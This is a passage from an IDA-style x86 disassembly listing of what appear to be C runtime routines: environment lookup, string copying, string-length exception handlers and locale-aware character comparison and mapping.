[ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25E0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB950 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB950 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB950 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DCD9C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DCEA1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426750 proc near jmp near ptr 71B2ACCBh sub_426750 endp ; --------------------------------------------------------------------------- scasb ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2870000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB9E4, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 26603CAh nop pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB9E4, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB9E4 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DBC3C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax jz short loc_4269DC mov dword_4DBC3C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CB4DC push edi push esi nop call near ptr 265120Ah test eax, eax jz loc_426B7D mov dword_4DBC3C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DBC3C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB9F4 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2830000h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 265120Ah nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 265120Ah nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2840000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C9AC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBC40 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26104C0h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB4DC push esi push edi nop call near ptr 2620000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DBC40, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26104C0h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB9F4 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2830000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2830000h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB9E4 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2620000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop 